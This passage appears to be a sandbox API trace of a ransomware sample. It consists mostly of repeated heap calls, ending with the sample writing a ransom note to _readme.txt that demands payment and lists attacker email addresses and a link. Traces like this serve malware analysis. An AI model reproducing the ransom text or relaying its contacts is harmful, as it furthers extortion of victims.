dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.452] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.452] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.453] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.453] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.454] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.455] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.455] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.456] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.456] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.457] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.457] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0111.457] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.457] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.457] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.458] PathFindFileNameW (pszPath="") returned="" [0111.458] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.458] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.458] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.458] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.458] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0111.458] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.458] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.458] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0111.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.459] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.459] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is 